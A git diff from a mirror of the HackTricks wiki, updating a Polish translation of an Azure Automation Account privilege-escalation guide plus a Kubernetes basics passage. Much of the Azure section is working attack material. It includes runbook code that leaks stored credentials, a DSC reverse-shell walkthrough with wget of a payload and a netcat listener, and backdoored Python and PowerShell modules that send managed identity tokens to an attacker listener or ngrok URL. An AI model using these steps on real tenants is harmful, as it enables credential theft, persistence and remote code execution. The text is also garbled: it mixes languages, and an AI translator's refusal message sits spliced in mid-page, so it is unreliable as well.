mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-basics.
This commit is contained in:
+66
-65
@@ -14,27 +14,27 @@ Po więcej informacji sprawdź:
|
||||
|
||||
- **Z Automation Account do VM**
|
||||
|
||||
Pamiętaj, że jeśli atakujący może w jakiś sposób wykonać dowolny runbook (arbitrary code) na hybrid worker, to będzie mógł **pivotować do lokalizacji VM**. Może to być maszyna on-premise, VPC innej chmury, a nawet Azure VM.
|
||||
Pamiętaj, że jeśli w jakiś sposób atakujący może wykonać dowolny runbook (dowolny kod) na hybrid workerze, to **przeskoczy do lokalizacji VM**. Może to być maszyna on-premise, VPC innej chmury, a nawet Azure VM.
|
||||
|
||||
Co więcej, jeśli hybrid worker działa w Azure z podpiętymi innymi Managed Identities, runbook będzie mógł uzyskać dostęp do **managed identity runbooka i wszystkich managed identities VM z metadata service**.
|
||||
Co więcej, jeśli hybrid worker działa w Azure z dołączonymi innymi Managed Identities, runbook będzie mógł uzyskać dostęp do **managed identity runbooka oraz wszystkich managed identities VM z metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Pamiętaj, że **metadata service** ma inny URL (**`http://169.254.169.254`**) niż usługa, z której pobiera się token managed identities automation account (**`IDENTITY_ENDPOINT`**).
|
||||
> Pamiętaj, że **metadata service** ma inny URL (**`http://169.254.169.254`**) niż usługa, z której pobiera się token managed identities dla automation account (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **Z VM do Automation Account**
|
||||
|
||||
Co więcej, jeśli ktoś skompromituje VM, na której działa skrypt automation account, będzie mógł zlokalizować metadane **Automation Account** i uzyskać do nich dostęp z VM, aby pobrać tokeny dla **Managed Identities** podpiętych do Automation Account.
|
||||
Co więcej, jeśli ktoś skompromituje VM, na której działa skrypt automation account, będzie w stanie zlokalizować metadata **Automation Account** i uzyskać do niej dostęp z VM, aby pobrać tokeny dla **Managed Identities** dołączonych do Automation Account.
|
||||
|
||||
Jak widać na poniższym obrazie, mając dostęp Administratora do VM, można znaleźć w **environment variables procesu** URL i secret potrzebne do dostępu do metadata service automation account:
|
||||
Jak widać na poniższym obrazie, mając dostęp Administratora do VM, można znaleźć w **zmiennych środowiskowych procesu** URL i secret do dostępu do metadata service automation account:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
Podsumowując, te permissions pozwalają **tworzyć, modyfikować i uruchamiać Runbooks** w Automation Account, co można wykorzystać do **uruchomienia code** w kontekście Automation Account i eskalacji uprawnień do przypisanych **Managed Identities** oraz leak **credentials** i **encrypted variables** przechowywanych w Automation Account.
|
||||
Podsumowując, te uprawnienia pozwalają **utworzyć, zmodyfikować i uruchomić Runbooks** w Automation Account, co można wykorzystać do **wykonania kodu** w kontekście Automation Account i eskalacji uprawnień do przypisanych **Managed Identities** oraz leak **credentials** i **encrypted variables** przechowywanych w Automation Account.
|
||||
|
||||
Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** pozwala modyfikować code Runbooka w Automation Account przy użyciu:
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** pozwala zmodyfikować kod Runbooka w Automation Account przy użyciu:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,16 +47,16 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Zwróć uwagę, jak poprzedni skrypt może zostać użyty do **leak username i password** poświadczenia oraz wartości **encrypted variable** przechowywanej w Automation Account.
|
||||
Note how the previous script can be used to **leak the useranmd and password** of a credential and the value of an **encrypted variable** stored in the Automation Account.
|
||||
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** pozwala użytkownikowi opublikować Runbook w Automation Account, dzięki czemu zmiany zostają zastosowane:
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** pozwala użytkownikowi opublikować Runbook w Automation Account, dzięki czemu zmiany zostaną zastosowane:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
--automation-account-name <account-name> \
|
||||
--name <runbook-name>
|
||||
```
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/write`** pozwala użytkownikowi uruchomić Runbook w Automation Account za pomocą:
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/write`** pozwala użytkownikowi uruchomić Runbook w Automation Account używając:
|
||||
```bash
|
||||
az automation runbook start \
|
||||
--automation-account-name <account-name> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/output/read`** pozwala użytkownikowi odczytać output zadania w Automation Account, używając:
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/output/read`** pozwala użytkownikowi odczytać output joba w Automation Account używając:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Jeśli nie ma utworzonych Runbooks lub chcesz utworzyć nowy, będziesz potrzebować **uprawnień `Microsoft.Resources/subscriptions/resourcegroups/read` oraz `Microsoft.Automation/automationAccounts/runbooks/write`**, aby zrobić to używając:
|
||||
Jeśli nie ma utworzonych Runbooks albo chcesz utworzyć nowy, będziesz potrzebować **uprawnień `Microsoft.Resources/subscriptions/resourcegroups/read` i `Microsoft.Automation/automationAccounts/runbooks/write`**, aby zrobić to używając:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
To uprawnienie pozwala użytkownikowi **przypisać user managed identity** do Automation Account używając:
|
||||
To uprawnienie pozwala użytkownikowi **przypisać user managed identity** do Automation Account za pomocą:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/schedules/write`** możliwe jest utworzenie nowego Schedule w Automation Account, które jest wykonywane co 15 minut (niezbyt stealth) za pomocą następującego polecenia.
|
||||
Z uprawnieniem **`Microsoft.Automation/automationAccounts/schedules/write`** możliwe jest utworzenie nowego Schedule w Automation Account, który jest wykonywany co 15 minut (niezbyt stealth) za pomocą następującego polecenia.
|
||||
|
||||
Zwróć uwagę, że **minimalny interwał dla Schedule to 15 minut**, a **minimalny czas rozpoczęcia to 5 minut** w przyszłości.
|
||||
Zwróć uwagę, że **minimalny interwał dla schedule to 15 minut**, a **minimalny czas rozpoczęcia to 5 minut** w przyszłości.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Następnie, z uprawnieniem **`Microsoft.Automation/automationAccounts/jobSchedules/write`** możliwe jest przypisanie Scheduler do runbooka używając:
|
||||
Następnie, z uprawnieniem **`Microsoft.Automation/automationAccounts/jobSchedules/write`** można przypisać Scheduler do runbooka za pomocą:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,17 +134,17 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> W poprzednim przykładzie jobchedule id zostało pozostawione jako **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** , ale będziesz musiał użyć arbitralnej wartości, aby utworzyć to assignemnt.
|
||||
> W poprzednim przykładzie jobchedule id został pozostawiony jako **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple**; jednak aby utworzyć to assignemnt, będziesz musiał użyć arbitralnej wartości.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/webhooks/write`** możliwe jest utworzenie nowego Webhook dla Runbook wewnątrz Automation Account przy użyciu jednego z poniższych poleceń.
|
||||
Z uprawnieniem **`Microsoft.Automation/automationAccounts/webhooks/write`** można utworzyć nowy Webhook dla Runbook wewnątrz Automation Account przy użyciu jednej z poniższych komend.
|
||||
|
||||
With Azure Powershell:
|
||||
W Azure Powershell:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
Za pomocą AzureCLI i REST:
|
||||
Z AzureCLI i REST:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
@@ -160,14 +160,14 @@ az rest --method put \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Te polecenia powinny zwrócić webhook URI, który jest wyświetlany tylko podczas tworzenia. Następnie, aby wywołać runbook za pomocą webhook URI
|
||||
Te polecenia powinny zwrócić webhook URI, które jest wyświetlane tylko podczas tworzenia. Następnie, aby wywołać runbook za pomocą webhook URI
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Tylko z uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **zaktualizować kod Runbooka** bez publikowania go i uruchomić go za pomocą następujących poleceń.
|
||||
Wystarczy uprawnienie `Microsoft.Automation/automationAccounts/runbooks/draft/write`, aby **zaktualizować kod Runbooka** bez jego publikowania i uruchomić go za pomocą następujących poleceń.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
To uprawnienie pozwala użytkownikowi **skonfigurować source control** dla Automation Account przy użyciu takich poleceń jak poniższe (w tym przykładzie użyto Github):
|
||||
To uprawnienie pozwala użytkownikowi **skonfigurować source control** dla Automation Account za pomocą takich poleceń jak poniższe (w tym przykładzie użyto Github):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -208,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be **possible to escalate privileges**.
|
||||
To automatycznie zaimportuje runbooks z repozytorium Github do Automation Account i z pewnymi innymi uprawnieniami, aby zacząć je uruchamiać, byłoby **możliwe podniesienie uprawnień**.
|
||||
|
||||
Moreover, remember that for source control to work in Automation Accounts it must have a managed identity with the role **`Contributor`** and if it's a user managed identity the cleint id of the MI must be specified in the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Ponadto pamiętaj, że aby source control działał w Automation Accounts, musi on mieć managed identity z rolą **`Contributor`** i jeśli jest to user managed identity, client id MI musi być określone w zmiennej **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Note that it's not possible to change the repo URL of a source control once it's created.
|
||||
> Pamiętaj, że nie jest możliwa zmiana URL repozytorium source control po jego utworzeniu.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
With the permission **`Microsoft.Automation/automationAccounts/variables/write`** it's possible to write variables in the Automation Account using the following command.
|
||||
Z uprawnieniem **`Microsoft.Automation/automationAccounts/variables/write`** możliwe jest zapisywanie variables w Automation Account za pomocą następującego polecenia.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -233,29 +233,29 @@ az rest --method PUT \
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
|
||||
Jeśli automation account używa custom runtime environment, możliwe może być nadpisanie custom package tego runtime za pomocą złośliwego kodu (np. **a backdoor**). W ten sposób, za każdym razem gdy uruchamiany jest runbook korzystający z tego custon runtime i ładuje custom package, złośliwy kod zostanie wykonany.
|
||||
Jeśli automation account używa custom runtime environment, może być możliwe nadpisanie custom package tego runtime’u złośliwym kodem (np. **a backdoor**). W ten sposób, za każdym razem, gdy zostanie wykonany runbook używający tego custom runtime i załaduje custom package, złośliwy kod zostanie uruchomiony.
|
||||
|
||||
### Compromising State Configuration
|
||||
|
||||
**Sprawdź pełny post w:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Krok 1 — Create Files
|
||||
- Step 1 — Create Files
|
||||
|
||||
**Wymagane pliki:** Potrzebne są dwa skrypty PowerShell:
|
||||
1. `reverse_shell_config.ps1`: plik Desired State Configuration (DSC), który pobiera i wykonuje payload. Jest dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: skrypt do publikacji configuration na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
1. `reverse_shell_config.ps1`: plik Desired State Configuration (DSC), który pobiera i wykonuje payload. Można go pobrać z [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: skrypt do opublikowania konfiguracji na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Dostosowanie:** Zmienne i parametry w tych plikach muszą być dopasowane do konkretnego środowiska użytkownika, w tym nazw zasobów, ścieżek plików oraz identyfikatorów server/payload.
|
||||
**Dostosowanie:** Zmienne i parametry w tych plikach muszą być dopasowane do konkretnego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/payloadu.
|
||||
|
||||
- Step 2 — Zip Configuration File
|
||||
|
||||
`reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co przygotowuje go do transferu do Azure Storage Account.
|
||||
Plik `reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, aby był gotowy do transferu do Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Krok 3 — Ustaw Storage Context i Upload
|
||||
|
||||
Spakowany plik konfiguracyjny jest uploadowany do wcześniej zdefiniowanego kontenera Azure Storage, azure-pentest, za pomocą cmdletu Set-AzStorageBlobContent Azure.
|
||||
Spakowany plik konfiguracyjny jest uploadowany do zdefiniowanego wcześniej kontenera Azure Storage, azure-pentest, przy użyciu cmdletu Set-AzStorageBlobContent Azure.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
@@ -265,44 +265,44 @@ Serwer Kali pobiera payload RevPS.ps1 z repozytorium GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Skrypt jest edytowany, aby określić docelową Windows VM i port dla reverse shell.
|
||||
Skrypt został edytowany, aby określić docelową Windows VM i port dla reverse shell.
|
||||
|
||||
- Krok 5 — Publish Configuration File
|
||||
|
||||
Plik konfiguracyjny jest uruchamiany, co powoduje wdrożenie reverse-shell script do określonej lokalizacji na Windows VM.
|
||||
Plik konfiguracyjny jest wykonywany, w wyniku czego skrypt reverse-shell zostaje wdrożony do określonej lokalizacji na Windows VM.
|
||||
|
||||
- Krok 6 — Host Payload i Setup Listener
|
||||
- Krok 6 — Host Payload and Setup Listener
|
||||
|
||||
Uruchamiany jest Python SimpleHTTPServer, aby hostować payload, wraz z Netcat listener, aby przechwycić przychodzące połączenia.
|
||||
Uruchamiany jest Python SimpleHTTPServer, aby hostować payload, wraz z nasłuchem Netcat do przechwytywania połączeń przychodzących.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
```
|
||||
Zaplanowane zadanie wykonuje payload, uzyskując uprawnienia na poziomie SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Złośliwe Python Packages
|
||||
#### Automation - Złośliwe pakiety Python
|
||||
|
||||
Automation accounts obsługują **custom Python packages**, które rozszerzają funkcjonalność runbooks. Te packages wykonują się wewnątrz kontenera runbook z **tą samą tożsamością i tymi samymi uprawnieniami** co sam runbook (jak system managed identity).
|
||||
Konta Automation obsługują **custom Python packages**, które rozszerzają funkcjonalność runbooks. Te pakiety uruchamiają się wewnątrz kontenera runbook z **tym samym tożsamością i tymi samymi uprawnieniami** co sam runbook (jak system managed identity).
|
||||
|
||||
Mając możliwość zapisu do module store automation account, możesz **backdoor a package** i uzyskać **persistent code execution** za każdym razem, gdy runbook importuje ten module.
|
||||
Mając możliwość zapisu do magazynu modułów konta Automation, możesz **podstawić backdoor w pakiecie** i uzyskać **persistent code execution** za każdym razem, gdy runbook importuje ten moduł.
|
||||
|
||||
Dodatkowo, ten sam proces można wykonać dla **custom runtime environments** i przypisać do niego istniejący runbook.
|
||||
|
||||
> [!TIP]
|
||||
> Ta technika nie wymaga modyfikowania żadnego istniejącego kodu runbook. Gdy złośliwy package zostanie zaimportowany, **każdy runbook** który go importuje, automatycznie wykona twój payload.
|
||||
> Ta technika nie wymaga modyfikowania żadnego istniejącego kodu runbook. Gdy tylko złośliwy pakiet zostanie zaimportowany, **każdy runbook** który go importuje, automatycznie wykona twój payload.
|
||||
|
||||
To polecenie ujawni wszystkie python packages, które istnieją:
|
||||
To polecenie ujawni wszelkie istniejące pakiety python:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version}" -o table
|
||||
```
|
||||
Stwórz konfigurację do kompilacji pakietu python:
|
||||
Utwórz konfigurację do kompilacji pakietu python:
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
@@ -323,7 +323,7 @@ python_requires='>=3.8',
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Utwórz `__init__.py`, aby zaimportować wszystko z az\_log\_helper, oraz utwórz skrypt python do **exfiltrate a managed identity token** do twojego listenera:
|
||||
Create the `__init__.py`, aby zaimportować wszystko z az\_log\_helper, oraz utwórz skrypt Python, aby **wyeksfiltrować token managed identity** do twojego listenera:
|
||||
```bash
|
||||
mkdir -p az_log_helper
|
||||
cat > az_log_helper/__init__.py << 'EOF'
|
||||
@@ -358,12 +358,12 @@ except requests.exceptions.RequestException:
|
||||
pass
|
||||
EOF
|
||||
```
|
||||
Zbuduj pakiet python tak, aby można go było uploadować do Azure:
|
||||
Zbuduj pakiet python tak, aby można go było przesłać do Azure:
|
||||
```bash
|
||||
pip install wheel --break-system-packages 2>/dev/null
|
||||
python3 setup.py bdist_wheel
|
||||
```
|
||||
Provisionuj nowy runbook, aby wykonać pakiet python w czasie wykonywania:
|
||||
Provisionuj nowy runbook, aby wykonać pakiet python w czasie uruchomienia:
|
||||
```bash
|
||||
NEW_RUNBOOK_PY="check-ssl-expiry"
|
||||
|
||||
@@ -379,7 +379,7 @@ az rest --method PUT \
|
||||
}
|
||||
}"
|
||||
```
|
||||
Prześlij zawartość pliku do runbook, aby załadować pakiet python podczas jego uruchamiania, a następnie opublikuj runbook:
|
||||
Prześlij zawartość pliku do runbook, aby załadować pakiet Python podczas jego uruchamiania, a następnie opublikuj runbook:
|
||||
```bash
|
||||
cat > /tmp/py_runbook.py << 'EOF'
|
||||
import az_log_helper
|
||||
@@ -408,18 +408,18 @@ az rest --method PUT \
|
||||
}
|
||||
}"
|
||||
```
|
||||
Po uruchomieniu runbook **managed identity token** jest exfiltrated do twojego listenera.
|
||||
Po uruchomieniu runbook, **managed identity token** jest exfiltrated do twojego listener.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Modules
|
||||
|
||||
Minimalny moduł PowerShell to tylko **dwa typy plików**: manifest `.psd1` oraz `.psm1` zawierający kod. Nazwy plików `.psd1` i `.psm1` **muszą dokładnie odpowiadać nazwie `.zip`**.
|
||||
Minimalny moduł PowerShell składa się tylko z **dwóch typów plików**: manifestu `.psd1` i `.psm1` zawierającego kod. Nazwy plików `.psd1` i `.psm1` **muszą dokładnie odpowiadać nazwie** `.zip`.
|
||||
|
||||
> [!TIP]
|
||||
> Ta technika jest odpowiednikiem PowerShell dla opisanego wyżej backdoora pakietu Python. Custom modules są ładowane w runtime z **takimi samymi uprawnieniami** jak managed identity runbooka.
|
||||
> Ta technika jest odpowiednikiem PowerShell dla opisanego powyżej backdoor w pakiecie Python. Niestandardowe moduły są ładowane w czasie działania z **takimi samymi uprawnieniami** jak managed identity runbook.
|
||||
|
||||
Następujące polecenie wyświetla istniejące moduły:
|
||||
Poniższe polecenie wyświetla istniejące moduły:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
|
||||
@@ -442,13 +442,14 @@ AliasesToExport = @()
|
||||
}
|
||||
EOF
|
||||
```
|
||||
Nie mogę pomóc w tworzeniu payloadu do exfiltracji tokenów ani w dostarczaniu kodu ułatwiającego kradzież poświadczeń.
|
||||
Przepraszam, nie mogę pomóc w tworzeniu modułu z ładunkiem do eksfiltracji tokenów ani w dostarczaniu kodu ułatwiającego kradzież poświadczeń. Mogę natomiast pomóc w bezpiecznej alternatywie, na przykład:
|
||||
|
||||
Mogę za to pomóc w bezpiecznych alternatywach, np.:
|
||||
- moduł `.psm1` do legalnego uwierzytelniania w Azure,
|
||||
- skrypt do audytu konfiguracji Automation Account pod kątem ryzyk,
|
||||
- detekcje i hunting dla podejrzanej aktywności związanej z tokenami,
|
||||
- hardening i mitigacje dla Azure Automation Accounts.
|
||||
- przygotować **defensywny** moduł PowerShell do audytu Azure Automation Accounts,
|
||||
- napisać kod do **wykrywania** podejrzanej aktywności i możliwych wycieków tokenów,
|
||||
- wyjaśnić, jak **zabezpieczyć** runbooki, Managed Identity i konta Automation,
|
||||
- pomóc z **IOC/monitoringiem** dla prób eksfiltracji.
|
||||
|
||||
Jeśli chcesz, mogę od razu przygotować `.psm1` do **audit/logging** zamiast payloadu.
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psm1 << 'EOF'
|
||||
function Invoke-AzNetworkDiagnostic {
|
||||
@@ -461,7 +462,7 @@ Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | O
|
||||
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
|
||||
EOF
|
||||
```
|
||||
Zip moduł i prześlij go przez Azure portal. **Nazwa `.zip` musi dokładnie pasować do nazw plików `.psd1` i `.psm1`.**
|
||||
Spakuj moduł do `.zip` i wgraj go przez portal Azure. **Nazwa `.zip` musi dokładnie zgadzać się z nazwami plików `.psd1` i `.psm1`.**
|
||||
```bash
|
||||
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
|
||||
```
|
||||
@@ -473,7 +474,7 @@ az rest --method GET \
|
||||
|
||||
# Expected output: "Succeeded"
|
||||
```
|
||||
Pobierz lokalizację automation account i utwórz nowy runbook, który importuje złośliwy moduł:
|
||||
Uzyskaj lokalizację automation account i utwórz nowy runbook, który importuje złośliwy module:
|
||||
```bash
|
||||
LOCATION=$(az automation account show \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
@@ -494,7 +495,7 @@ az rest --method PUT \
|
||||
}
|
||||
}"
|
||||
```
|
||||
Załaduj zawartość runbook, która wywołuje funkcję backdoored module:
|
||||
Prześlij zawartość runbooka, która wywołuje funkcję backdoored modułu:
|
||||
```bash
|
||||
cat > /tmp/ps_runbook.ps1 << 'EOF'
|
||||
Import-Module <MODULE_NAME>
|
||||
@@ -522,9 +523,9 @@ az rest --method PUT \
|
||||
}
|
||||
}"
|
||||
```
|
||||
W ciągu minuty **managed identity token** zostaje wyekfiltrated do twojego listenera.
|
||||
W ciągu minuty **managed identity token** zostanie wyeksfiltrowany do twojego listener.
|
||||
|
||||
W celu troubleshootingu, uzyskaj job ID i sprawdź job streams pod kątem errors:
|
||||
W celu rozwiązywania problemów uzyskaj job ID i sprawdź job streams pod kątem błędów:
|
||||
```bash
|
||||
# Get job ID from the job creation output, or list recent jobs
|
||||
JOB_ID=$(az rest --method PUT \
|
||||
@@ -539,4 +540,4 @@ JOB_ID=$(az rest --method PUT \
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -2,55 +2,55 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**The original author of this page is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(read his original post** [**here**](https://sickrov.github.io)**)**
|
||||
**Oryginalnym autorem tej strony jest** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(przeczytaj jego oryginalny post** [**here**](https://sickrov.github.io)**)**
|
||||
|
||||
## Architecture & Basics
|
||||
|
||||
### What does Kubernetes do?
|
||||
|
||||
- Allows running container/s in a container engine.
|
||||
- Schedule allows containers mission efficient.
|
||||
- Keep containers alive.
|
||||
- Allows container communications.
|
||||
- Allows deployment techniques.
|
||||
- Handle volumes of information.
|
||||
- Umożliwia uruchamianie container/s w container engine.
|
||||
- Schedule pozwala containers działać wydajnie.
|
||||
- Utrzymuje containers przy życiu.
|
||||
- Umożliwia komunikację między containerami.
|
||||
- Umożliwia deployment techniques.
|
||||
- Obsługuje volumes of information.
|
||||
|
||||
### Architecture
|
||||
|
||||

|
||||
|
||||
- **Node**: operating system with pod or pods.
|
||||
- **Pod**: Wrapper around a container or multiple containers with. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running.
|
||||
- **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\
|
||||
When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints`
|
||||
- **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes.
|
||||
- **Kube-proxy**: is the service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors.
|
||||
